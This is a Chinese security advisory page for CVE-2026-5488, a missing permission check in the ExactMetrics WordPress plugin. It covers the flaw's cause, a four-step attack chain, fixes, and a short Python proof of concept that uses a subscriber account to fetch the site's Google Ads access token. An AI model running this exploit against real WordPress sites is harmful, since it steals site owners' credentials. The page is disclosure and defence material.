IPBUF安全漏洞报告
English
CVE-2026-5488 CVSS 5.3 中危

CVE-2026-5488 WordPress插件权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-5488
漏洞类型
权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ExactMetrics – Google Analytics Dashboard for WordPress

相关标签

权限绕过WordPressCVE-2026-5488插件漏洞信息泄露

漏洞概述

WordPress的ExactMetrics插件(Google Analytics仪表盘)在9.1.2及以下版本中存在权限缺失漏洞。该漏洞源于`get_ads_access_token()`和`reset_experience()`这两个AJAX处理函数仅验证了nonce,而未检查用户的具体权限(如`exactmetrics_save_settings`能力)。由于`mi-admin-nonce`在所有管理页面(包括订阅者可访问的profile.php)上都有本地化,这使得拥有订阅者及以上权限的攻击者可以利用这两个接口,获取有效的Google Ads访问令牌并重置Google Ads集成设置,从而造成敏感信息泄露。

技术细节

该漏洞的技术核心在于WordPress插件开发中Nonce验证与权限验证的不当使用。在受影响的ExactMetrics插件版本中,`class-exactmetrics-google-ads.php`文件内的`get_ads_access_token()`和`reset_experience()`方法被注册为AJAX动作。正常情况下,涉及敏感操作(如获取令牌或修改设置)的AJAX请求应当同时验证请求来源的合法性(Nonce)和请求者的操作权限(Capability)。然而,这两个特定的处理函数仅调用了`check_ajax_referer()`来验证`mi-admin-nonce`。虽然Nonce可以防止CSRF攻击,但它并不验证用户是否有权执行该特定操作。由于该Nonce在前端通过`wp_localize_script()`被注入到了所有后台页面,包括低权限用户(如订阅者)可以访问的个人资料页面(`profile.php`),因此订阅者级别的用户可以直接构造包含该Nonce的请求发送给`/wp-admin/admin-ajax.php`。当请求触发上述两个AJAX动作时,服务器仅验证Nonce有效便返回了Google Ads的访问令牌或重置了设置,绕过了本应存在的`exactmetrics_save_settings`权限检查。与同文件中其他正确使用了`current_user_can('exactmetrics_save_settings')`的函数相比,这两个函数存在明显的逻辑缺陷。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者注册或获取一个具有订阅者(Subscriber)级别权限的WordPress账号。
STEP 2
步骤2:提取Nonce值
攻击者登录并访问个人资料页面(profile.php),从页面源码中提取`mi-admin-nonce`的值。
STEP 3
步骤3:构造恶意请求
攻击者向`/wp-admin/admin-ajax.php`发送POST请求,动作设为`get_ads_access_token`或`reset_experience`,并携带提取到的Nonce。
STEP 4
步骤4:执行未授权操作
服务器端仅验证Nonce有效,未验证用户权限,导致攻击者成功获取Google Ads令牌或重置设置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Authenticate to get cookies and nonce session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "http://example.com/wp-admin/profile.php" } session.post("http://example.com/wp-login.php", data=login_data) # 2. Fetch the profile page to extract 'mi-admin-nonce' profile_page = session.get("http://example.com/wp-admin/profile.php").text # Note: In a real scenario, use regex to parse the nonce value from the HTML # Assuming nonce is found as '12345abcde' nonce = "extracted_nonce_value_from_html" # 3. Exploit - Retrieve Google Ads Access Token # The vulnerable action is 'get_ads_access_token' exploit_data = { "action": "get_ads_access_token", "security": nonce, # The mi-admin-nonce "nonce": nonce } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Exploit successful!") print("Response:", response.text) else: print("Exploit failed.")

影响范围

ExactMetrics – Google Analytics Dashboard for WordPress <= 9.1.2

防御指南

临时缓解措施
建议立即将ExactMetrics插件更新至最新版本以修复权限验证缺失的问题。如果无法立即更新,应暂时禁用该插件或通过服务器配置限制对`/wp-admin/admin-ajax.php`的访问,仅允许受信任的IP或特定用户角色调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表